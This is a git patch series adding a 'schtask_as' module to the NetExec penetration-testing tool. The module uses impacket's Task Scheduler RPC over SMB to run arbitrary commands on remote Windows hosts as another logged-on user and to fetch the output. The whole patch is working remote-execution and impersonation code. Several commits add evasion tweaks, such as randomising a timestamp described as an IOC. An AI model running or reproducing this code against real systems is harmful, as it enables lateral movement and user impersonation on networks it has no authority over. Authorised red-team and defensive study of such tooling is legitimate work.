From bcbfad6a18d3d30957dfa95377bc55a1752b48cb Mon Sep 17 00:00:00 2001 From: Defte Date: Tue, 3 Oct 2023 17:52:06 +0200 Subject: [PATCH 01/10] Create schtask.py Add the schtask module that can be used to impersonate loggedon users and run commands on their behalf. Signed-off-by: Defte --- nxc/modules/schtask.py | 274 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 274 insertions(+) create mode 100644 nxc/modules/schtask.py diff --git a/nxc/modules/schtask.py b/nxc/modules/schtask.py new file mode 100644 index 000000000..c6b00917a --- /dev/null +++ b/nxc/modules/schtask.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +from impacket.dcerpc.v5 import tsch, transport +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from nxc.helpers.misc import gen_random_string +from time import sleep + +class NXCModule: + """ + Execute a scheduled task remotely as a already connected user by @Defte_ + """ + + def options(self, context, module_options): + """ + CMD Command to execute + USER User to execute the command as + """ + + self.cmd = self.user = self.time = None + if "CMD" in module_options: + self.cmd = module_options["CMD"] + + if "USER" in module_options: + self.user = module_options["USER"] + + name = "schtask" + description = "Execute a scheduled task on the remote system" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def on_admin_login(self, context, connection): + self.logger = context.log + if self.cmd is None: + self.logger.fail("You need to specify a CMD to run") + return 1 + if self.user is None: + self.logger .fail("You need to specify a USER to run the command as") + return 1 + + self.logger.display("Connecting to the remote atsvc endpoint") + try: + exec_method = TSCH_EXEC( + connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + connection.smb_share_name, + connection.username, + connection.password, + connection.domain, + self.user, + self.cmd, + connection.kerberos, + connection.aesKey, + connection.kdcHost, + connection.hash, + self.logger, + connection.args.get_output_tries, + "C$" # This one shouldn't be hardcoded but I don't know where to retrive the info + ) + + output = exec_method.execute(self.cmd, True) + try: + if not isinstance(output, str): + output = output.decode(connection.args.codec) + except UnicodeDecodeError: + self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") + output = output.decode("cp437") + self.logger.highlight(output) + + except Exception as e: + self.logger.fail(f"Error executing command via atexec, traceback: {e}") + +class TSCH_EXEC: + def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): + self.__target = target + self.__username = username + self.__password = password + self.__domain = domain + self.__share_name = share_name + self.__lmhash = "" + self.__nthash = "" + self.__outputBuffer = b"" + self.__retOutput = False + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__tries = tries + self.__output_filename = None + self.__share = share + self.logger = logger + self.cmd = cmd + self.user = user + + if hashes is not None: + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") + else: + self.__nthash = hashes + + if self.__password is None: + self.__password = "" + + stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]" + self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) + + if hasattr(self.__rpctransport, "set_credentials"): + # This method exists only for selected protocol sequences. + self.__rpctransport.set_credentials( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ) + self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + def execute(self, command, output=False): + self.__retOutput = output + self.execute_handler(command) + return self.__outputBuffer + + def output_callback(self, data): + self.__outputBuffer = data + + def gen_xml(self, command, fileless=False): + xml = f""" + + + + 2015-07-15T20:35:13.2757294 + true + + 1 + + + + + + {self.user} + HighestAvailable + + + + IgnoreNew + false + false + true + false + + true + false + + true + true + true + false + false + P3D + 7 + + + + cmd.exe +""" + if self.__retOutput: + self.__output_filename = "\\Windows\\Temp\\" + gen_random_string(6) + if fileless: + local_ip = self.__rpctransport.get_socket().getsockname()[0] + argument_xml = f" /C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1" + else: + argument_xml = f" /C {command} > {self.__output_filename} 2>&1" + + elif self.__retOutput is False: + argument_xml = f" /C {command}" + + self.logger.debug("Generated argument XML: " + argument_xml) + xml += argument_xml + + xml += """ + + + +""" + return xml + + def execute_handler(self, command, fileless=False): + dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + + dce.set_credentials(*self.__rpctransport.get_credentials()) + dce.connect() + # dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + + tmpName = gen_random_string(8) + + xml = self.gen_xml(command, fileless) + + self.logger.info(f"Task XML: {xml}") + taskCreated = False + self.logger.info(f"Creating task \\{tmpName}") + try: + # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + except Exception as e: + if e.error_code and hex(e.error_code) == "0x80070005": + self.logger.fail("ATEXEC: Create schedule task got blocked.") + else: + self.logger.fail(str(e)) + return + else: + taskCreated = True + + self.logger.info(f"Running task \\{tmpName}") + tsch.hSchRpcRun(dce, f"\\{tmpName}") + + done = False + while not done: + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") + resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}") + if resp["pLastRuntime"]["wYear"] != 0: + done = True + else: + sleep(2) + + self.logger.info(f"Deleting task \\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") + taskCreated = False + + if taskCreated is True: + tsch.hSchRpcDelete(dce, "\\%s" % tmpName) + + if self.__retOutput: + if fileless: + while True: + try: + with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output: + self.output_callback(output.read()) + break + except IOError: + sleep(2) + else: + peer = ":".join(map(str, self.__rpctransport.get_socket().getpeername())) + smbConnection = self.__rpctransport.get_smb_connection() + tries = 1 + while True: + try: + self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}") + smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) + break + except Exception as e: + if tries >= self.__tries: + self.logger.fail(f"ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") + break + if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : + self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") + break + if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: + sleep(3) + tries += 1 + else: + self.logger.debug(str(e)) + + if self.__outputBuffer: + self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") + smbConnection.deleteFile(self.__share, self.__output_filename) + + dce.disconnect() From 11480183942bf0619fd0513a528143d0024d1b35 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 3 Oct 2023 18:40:07 +0200 Subject: [PATCH 02/10] Update codec management --- nxc/modules/schtask.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/schtask.py b/nxc/modules/schtask.py index c6b00917a..87e44d43e 100644 --- a/nxc/modules/schtask.py +++ b/nxc/modules/schtask.py @@ -65,8 +65,7 @@ def on_admin_login(self, context, connection): if not isinstance(output, str): output = output.decode(connection.args.codec) except UnicodeDecodeError: - self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") - output = output.decode("cp437") + self.logger.fail("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") self.logger.highlight(output) except Exception as e: From 116c8f7833a61af75944f84ce9506b99725c480b Mon Sep 17 00:00:00 2001 From: Defte Date: Thu, 5 Oct 2023 11:15:10 +0200 Subject: [PATCH 03/10] Update schtask.py Add @Shad0wC0ntr0ller snippet to remove hardcoded date. Signed-off-by: Defte --- nxc/modules/schtask.py | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/nxc/modules/schtask.py b/nxc/modules/schtask.py index 87e44d43e..9168074a0 100644 --- a/nxc/modules/schtask.py +++ b/nxc/modules/schtask.py @@ -7,19 +7,22 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import gen_random_string from time import sleep +from datetime import datetime class NXCModule: """ Execute a scheduled task remotely as a already connected user by @Defte_ + Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC """ def options(self, context, module_options): """ CMD Command to execute - USER User to execute the command as + USER User to execute command as """ self.cmd = self.user = self.time = None + if "CMD" in module_options: self.cmd = module_options["CMD"] @@ -32,16 +35,18 @@ def options(self, context, module_options): opsec_safe = True multiple_hosts = False + def on_admin_login(self, context, connection): self.logger = context.log if self.cmd is None: self.logger.fail("You need to specify a CMD to run") return 1 if self.user is None: - self.logger .fail("You need to specify a USER to run the command as") + self.logger .fail("You need to specify a USER to tun the command as") return 1 - self.logger.display("Connecting to the remote atsvc endpoint") + + self.logger.display("Connecting to the remote Service control endpoint") try: exec_method = TSCH_EXEC( connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, @@ -61,11 +66,12 @@ def on_admin_login(self, context, connection): ) output = exec_method.execute(self.cmd, True) + try: if not isinstance(output, str): output = output.decode(connection.args.codec) except UnicodeDecodeError: - self.logger.fail("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") + self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") self.logger.highlight(output) except Exception as e: @@ -125,12 +131,19 @@ def execute(self, command, output=False): def output_callback(self, data): self.__outputBuffer = data + def get_current_date(self): + # Get current date and time + now = datetime.now() + + # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" + return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + def gen_xml(self, command, fileless=False): xml = f""" - 2015-07-15T20:35:13.2757294 + {self.get_current_date()} true 1 From cba97cd068de0d63d5cd8a8f70d9635fcfd0e55e Mon Sep 17 00:00:00 2001 From: Defte Date: Thu, 5 Oct 2023 11:24:50 +0200 Subject: [PATCH 04/10] Rename schtask.py to schtask_as.py Rename the module to prevent confusion. Signed-off-by: Defte --- nxc/modules/{schtask.py => schtask_as.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename nxc/modules/{schtask.py => schtask_as.py} (100%) diff --git a/nxc/modules/schtask.py b/nxc/modules/schtask_as.py similarity index 100% rename from nxc/modules/schtask.py rename to nxc/modules/schtask_as.py From 16cfaec75d563f5a3ef756061738a6117b83cb37 Mon Sep 17 00:00:00 2001 From: Defte Date: Thu, 5 Oct 2023 11:58:58 +0200 Subject: [PATCH 05/10] Update schtask_as.py Modify the variable name to schtask_as Change the description Signed-off-by: Defte --- nxc/modules/schtask_as.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 9168074a0..c00f70f12 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -29,8 +29,8 @@ def options(self, context, module_options): if "USER" in module_options: self.user = module_options["USER"] - name = "schtask" - description = "Execute a scheduled task on the remote system" + name = "schtask_as" + description = "Remotely execute a scheduled task as a logged on user" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False From 429a6a4e1826c6376cb4897239d2edee4bef67b9 Mon Sep 17 00:00:00 2001 From: Defte Date: Thu, 5 Oct 2023 12:03:26 +0200 Subject: [PATCH 06/10] Update schtask_as.py Fix typo Signed-off-by: Defte --- nxc/modules/schtask_as.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index c00f70f12..e37a204de 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -42,7 +42,7 @@ def on_admin_login(self, context, connection): self.logger.fail("You need to specify a CMD to run") return 1 if self.user is None: - self.logger .fail("You need to specify a USER to tun the command as") + self.logger.fail("You need to specify a USER to run the command as") return 1 From 0523208c4e63eaf3d8196ddc7f224686d2f4e9e5 Mon Sep 17 00:00:00 2001 From: Defte Date: Fri, 6 Oct 2023 17:05:16 +0200 Subject: [PATCH 07/10] Update schtask_as.py - Sed "g/atexec/schtask_as/s" - Better error output (unknown username, task has not run) - Added the output.decode("cp437") for french caracters Signed-off-by: Defte --- nxc/modules/schtask_as.py | 40 +++++++++++++++++++-------------------- 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index e37a204de..6c8e5a7c2 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -2,12 +2,13 @@ # -*- coding: utf-8 -*- import os -from impacket.dcerpc.v5 import tsch, transport -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from nxc.helpers.misc import gen_random_string from time import sleep from datetime import datetime +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5 import tsch, transport +from nxc.helpers.misc import gen_random_string +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY + class NXCModule: """ @@ -22,7 +23,6 @@ def options(self, context, module_options): """ self.cmd = self.user = self.time = None - if "CMD" in module_options: self.cmd = module_options["CMD"] @@ -35,7 +35,6 @@ def options(self, context, module_options): opsec_safe = True multiple_hosts = False - def on_admin_login(self, context, connection): self.logger = context.log if self.cmd is None: @@ -45,7 +44,6 @@ def on_admin_login(self, context, connection): self.logger.fail("You need to specify a USER to run the command as") return 1 - self.logger.display("Connecting to the remote Service control endpoint") try: exec_method = TSCH_EXEC( @@ -65,17 +63,21 @@ def on_admin_login(self, context, connection): "C$" # This one shouldn't be hardcoded but I don't know where to retrive the info ) + self.logger.display(f"Executing {self.cmd} as {self.user}") output = exec_method.execute(self.cmd, True) try: if not isinstance(output, str): output = output.decode(connection.args.codec) except UnicodeDecodeError: - self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") + # Required to decode specific french caracters otherwise it'll print b"" + output = output.decode("cp437") self.logger.highlight(output) except Exception as e: - self.logger.fail(f"Error executing command via atexec, traceback: {e}") + if str(e).find("SCHED_S_TASK_HAS_NOT_RUN") > 0: + self.logger.fail(f"Task was not run, check the options") + class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): @@ -99,7 +101,6 @@ def __init__(self, target, share_name, username, password, domain, user, cmd, do self.user = user if hashes is not None: - # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: @@ -179,7 +180,7 @@ def gen_xml(self, command, fileless=False): cmd.exe """ if self.__retOutput: - self.__output_filename = "\\Windows\\Temp\\" + gen_random_string(6) + self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}" if fileless: local_ip = self.__rpctransport.get_socket().getsockname()[0] argument_xml = f" /C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1" @@ -189,9 +190,8 @@ def gen_xml(self, command, fileless=False): elif self.__retOutput is False: argument_xml = f" /C {command}" - self.logger.debug("Generated argument XML: " + argument_xml) + self.logger.debug(f"Generated argument XML: {argument_xml}") xml += argument_xml - xml += """ @@ -206,7 +206,6 @@ def execute_handler(self, command, fileless=False): dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - # dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) tmpName = gen_random_string(8) @@ -221,10 +220,10 @@ def execute_handler(self, command, fileless=False): dce.bind(tsch.MSRPC_UUID_TSCHS) tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: + if str(e).find("ERROR_NONE_MAPPED") > 0 : + self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") if e.error_code and hex(e.error_code) == "0x80070005": - self.logger.fail("ATEXEC: Create schedule task got blocked.") - else: - self.logger.fail(str(e)) + self.logger.fail("Schtask_as: Create schedule task got blocked.") return else: taskCreated = True @@ -246,7 +245,7 @@ def execute_handler(self, command, fileless=False): taskCreated = False if taskCreated is True: - tsch.hSchRpcDelete(dce, "\\%s" % tmpName) + tsch.hSchRpcDelete(dce, f"\\{tmpName}") if self.__retOutput: if fileless: @@ -258,7 +257,6 @@ def execute_handler(self, command, fileless=False): except IOError: sleep(2) else: - peer = ":".join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() tries = 1 while True: @@ -268,10 +266,10 @@ def execute_handler(self, command, fileless=False): break except Exception as e: if tries >= self.__tries: - self.logger.fail(f"ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") + self.logger.fail(f"Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : - self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") + self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") break if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: sleep(3) From b2c73b05d16212ebecc03443f1249c9ce3bc45d7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 8 Oct 2023 07:56:05 -0400 Subject: [PATCH 08/10] Added fail messages for not existing users and users having no active session, stop printing empty output messages. --- nxc/modules/schtask_as.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 6c8e5a7c2..04861be2b 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -72,11 +72,12 @@ def on_admin_login(self, context, connection): except UnicodeDecodeError: # Required to decode specific french caracters otherwise it'll print b"" output = output.decode("cp437") - self.logger.highlight(output) + if output: + self.logger.highlight(output) except Exception as e: if str(e).find("SCHED_S_TASK_HAS_NOT_RUN") > 0: - self.logger.fail(f"Task was not run, check the options") + self.logger.fail("Task was not run, seems like the specified user has no active session on the target") class TSCH_EXEC: @@ -220,10 +221,14 @@ def execute_handler(self, command, fileless=False): dce.bind(tsch.MSRPC_UUID_TSCHS) tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: - if str(e).find("ERROR_NONE_MAPPED") > 0 : + if str(e).find("ERROR_NONE_MAPPED") > 0: self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") if e.error_code and hex(e.error_code) == "0x80070005": self.logger.fail("Schtask_as: Create schedule task got blocked.") + if str(e).find("ERROR_TRUSTED_DOMAIN_FAILURE"): + self.logger.fail(f"User {self.user} does not exist in the domain.") + else: + self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") return else: taskCreated = True @@ -266,7 +271,7 @@ def execute_handler(self, command, fileless=False): break except Exception as e: if tries >= self.__tries: - self.logger.fail(f"Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") + self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.") break if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") From 669e0b45e72ac555b2b7e035185129df84e74fb4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 8 Oct 2023 14:50:59 -0400 Subject: [PATCH 09/10] Replace str(e).find with 'string' in str(e) --- nxc/modules/schtask_as.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 04861be2b..09a5e8bba 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -76,7 +76,7 @@ def on_admin_login(self, context, connection): self.logger.highlight(output) except Exception as e: - if str(e).find("SCHED_S_TASK_HAS_NOT_RUN") > 0: + if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") @@ -221,11 +221,11 @@ def execute_handler(self, command, fileless=False): dce.bind(tsch.MSRPC_UUID_TSCHS) tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: - if str(e).find("ERROR_NONE_MAPPED") > 0: + if "ERROR_NONE_MAPPED" in str(e): self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") if e.error_code and hex(e.error_code) == "0x80070005": self.logger.fail("Schtask_as: Create schedule task got blocked.") - if str(e).find("ERROR_TRUSTED_DOMAIN_FAILURE"): + if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): self.logger.fail(f"User {self.user} does not exist in the domain.") else: self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") @@ -273,10 +273,10 @@ def execute_handler(self, command, fileless=False): if tries >= self.__tries: self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.") break - if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : + if "STATUS_BAD_NETWORK_NAME" in str(e): self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") break - if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: + if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): sleep(3) tries += 1 else: From ae417e5d3ae03fd513858d151c3d89d2552824f1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 8 Oct 2023 14:52:37 -0400 Subject: [PATCH 10/10] Autoformat --- nxc/modules/schtask_as.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 09a5e8bba..8d8fa599c 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -25,23 +25,23 @@ def options(self, context, module_options): self.cmd = self.user = self.time = None if "CMD" in module_options: self.cmd = module_options["CMD"] - + if "USER" in module_options: self.user = module_options["USER"] - + name = "schtask_as" description = "Remotely execute a scheduled task as a logged on user" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False - + def on_admin_login(self, context, connection): self.logger = context.log if self.cmd is None: self.logger.fail("You need to specify a CMD to run") return 1 if self.user is None: - self.logger.fail("You need to specify a USER to run the command as") + self.logger.fail("You need to specify a USER to run the command as") return 1 self.logger.display("Connecting to the remote Service control endpoint") @@ -60,12 +60,12 @@ def on_admin_login(self, context, connection): connection.hash, self.logger, connection.args.get_output_tries, - "C$" # This one shouldn't be hardcoded but I don't know where to retrive the info + "C$" # This one shouldn't be hardcoded but I don't know where to retrive the info ) self.logger.display(f"Executing {self.cmd} as {self.user}") output = exec_method.execute(self.cmd, True) - + try: if not isinstance(output, str): output = output.decode(connection.args.codec) @@ -78,7 +78,7 @@ def on_admin_login(self, context, connection): except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") - + class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): @@ -181,7 +181,7 @@ def gen_xml(self, command, fileless=False): cmd.exe """ if self.__retOutput: - self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}" + self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}" if fileless: local_ip = self.__rpctransport.get_socket().getsockname()[0] argument_xml = f" /C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1" @@ -207,7 +207,7 @@ def execute_handler(self, command, fileless=False): dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - + tmpName = gen_random_string(8) xml = self.gen_xml(command, fileless)